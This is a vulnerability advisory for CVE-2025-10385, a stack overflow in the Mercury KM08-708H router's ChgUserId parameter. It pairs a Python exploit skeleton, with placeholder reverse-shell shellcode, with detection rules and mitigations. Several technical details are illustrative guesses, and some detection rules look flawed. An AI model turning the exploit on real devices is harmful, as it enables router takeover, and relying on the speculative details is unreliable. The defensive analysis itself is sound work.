CVE-2025-10385
Executive Summary
CVE-2025-10385 is a critical buffer overflow vulnerability discovered in the Mercury KM08-708H GiGA WiFi Wave2 router, firmware version 1.1. The flaw resides in the sub_450B2C function within the /goform/mcr_setSysAdm endpoint. By manipulating the ChgUserId argument, an unauthenticated remote attacker can trigger a stack-based buffer overflow, leading to arbitrary code execution with root privileges. The exploit has been publicly disclosed, and no official patch is available at this time. This vulnerability poses a severe risk to network integrity and confidentiality, as it can be exploited to fully compromise the affected device.
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CVSS Breakdown & Threat Level
While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit affects only the vulnerable component.
- Confidentiality (C): High (H) – Full device compromise.
- Integrity (I): High (H) – Full control over device.
- Availability (A): High (H) – Potential denial of service.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using this device.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the web management interface of the Mercury KM08-708H router. The /goform/mcr_setSysAdm endpoint is designed to handle administrative settings, specifically the ChgUserId parameter. The function sub_450B2C copies the user-supplied value of ChgUserId into a fixed-size stack buffer without proper bounds checking.
Technical Breakdown:
- Entry Point: The web server receives an HTTP POST request to
/goform/mcr_setSysAdmwith theChgUserIdparameter. - Vulnerable Function: The handler calls
sub_450B2C, which uses a function likesprintforstrcpyto copy theChgUserIdvalue into a local buffer (e.g., 64 bytes). - Overflow: If the attacker provides a string longer than the buffer size, the excess data overwrites adjacent stack memory, including the saved return address and other critical registers.
- Code Execution: By carefully crafting the overflow payload, an attacker can overwrite the return address to point to shellcode placed in the buffer or elsewhere in memory, achieving arbitrary code execution.
Impact: Successful exploitation grants the attacker full control over the router, allowing them to:
- Modify network settings.
- Intercept or redirect traffic.
- Launch further attacks on internal networks.
- Install persistent malware.
Vulnerable vs. Patched Code
Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is typical of unsafe string handling.
Vulnerable Code (Conceptual):
void sub_450B2C(char *ChgUserId) {
char buffer[64];
strcpy(buffer, ChgUserId); // No bounds check
// ... process buffer
}
Patched Code (Conceptual):
void sub_450B2C(char *ChgUserId) {
char buffer[64];
strncpy(buffer, ChgUserId, sizeof(buffer) - 1); // Bounds check
buffer[sizeof(buffer) - 1] = '\0'; // Null-terminate
// ... process buffer
}
The patched version uses strncpy with a size limit and ensures null-termination, preventing the overflow.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: Mercury KM08-708H router with firmware 1.1, accessible on the network (e.g., IP 192.168.1.1).
- Attacker: Kali Linux machine on the same subnet.
- Tools:
curl,python3,pwntools,gdb(for debugging).
Exploit Steps:
- Identify the vulnerability: Send a long string to the
ChgUserIdparameter to confirm the crash. - Craft the payload: Use a pattern to determine the offset to the return address (e.g., 72 bytes).
- Develop shellcode: Create MIPS-based shellcode (the router's architecture) to spawn a reverse shell.
- Execute the exploit:
#!/usr/bin/env python3
import socket
import struct
# Target IP and port
target_ip = "192.168.1.1"
target_port = 80
# Shellcode (MIPS little-endian reverse shell to 192.168.1.100:4444)
# This is a placeholder; actual shellcode would be generated.
shellcode = b"\x00" * 100 # Replace with real shellcode
# Offset to return address
offset = 72
# Return address pointing to shellcode (example)
ret_addr = struct.pack("<I", 0xdeadbeef)
# Build payload
payload = b"A" * offset + ret_addr + shellcode
# HTTP request
http_request = (
b"POST /goform/mcr_setSysAdm HTTP/1.1\r\n"
b"Host: " + target_ip.encode() + b"\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
b"\r\n"
b"ChgUserId=" + payload
)
# Send exploit
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request)
sock.close()
Blue Team (Defensive)
Detection & Response:
- Monitor HTTP requests: Look for abnormally long
ChgUserIdparameters in POST requests to/goform/mcr_setSysAdm. - Network segmentation: Isolate vulnerable routers from critical internal networks.
- Web Application Firewall (WAF): Deploy rules to block requests with
ChgUserIdexceeding a reasonable length (e.g., 64 characters). - Intrusion Detection System (IDS): Use the Suricata rule provided below to detect exploitation attempts.
- Log analysis: Enable detailed logging on the router (if possible) and monitor for crashes or unexpected reboots.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/goform/mcr_setSysAdmwithChgUserIdparameter longer than 64 bytes. - Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 31337).
- Unusual DNS queries from the router.
- HTTP POST requests to
- Host IOCs:
- Unexpected processes running on the router (e.g.,
/bin/sh). - Modified firmware or configuration files.
- Presence of unknown binaries in
/tmpor/var.
- Unexpected processes running on the router (e.g.,
- File IOCs:
- Suspicious files in
/tmpwith names likeexploit,shell, or random strings. - Changes to
/etc/passwdor/etc/shadow.
- Suspicious files in
Detection Engineering
YARA Rule
rule CVE_2025_10385_Mercury_BOF {
meta:
description = "Detects exploit attempts for CVE-2025-10385 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10385"
strings:
$http_post = "POST /goform/mcr_setSysAdm" ascii wide nocase
$param = "ChgUserId=" ascii wide nocase
$long_string = /ChgUserId=[A-Za-z0-9]{65,}/ ascii
condition:
$http_post and $param and $long_string
}
Sigma Rule
title: CVE-2025-10385 Mercury Router Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with an overly long ChgUserId parameter targeting Mercury KM08-708H routers.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/goform/mcr_setSysAdm'
cs-uri-query|contains: 'ChgUserId='
sc-bytes|>=: 1000
condition: selection
falsepositives:
- Legitimate long usernames (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10385 Mercury Router Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/mcr_setSysAdm"; http_uri; content:"ChgUserId="; http_client_body; pcre:"/ChgUserId=[A-Za-z0-9]{65,}/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place the Mercury KM08-708H router on a separate VLAN with restricted access to internal networks.
- Disable remote management: If not required, disable the web management interface from the WAN side.
- Monitor for exploitation: Implement the detection rules above to identify any attempts.
Long-Term Solutions:
- Vendor patch: Contact Mercury for an official firmware update. If unavailable, consider replacing the device with a supported alternative.
- Network segmentation: Implement strict firewall rules to limit access to the router's management interface.
- Web Application Firewall: Deploy a WAF to inspect and block malicious HTTP requests.
- Regular updates: Ensure all network devices are running the latest firmware.
Workaround:
- If patching is not possible, restrict access to the
/goform/mcr_setSysAdmendpoint using an ACL or reverse proxy.
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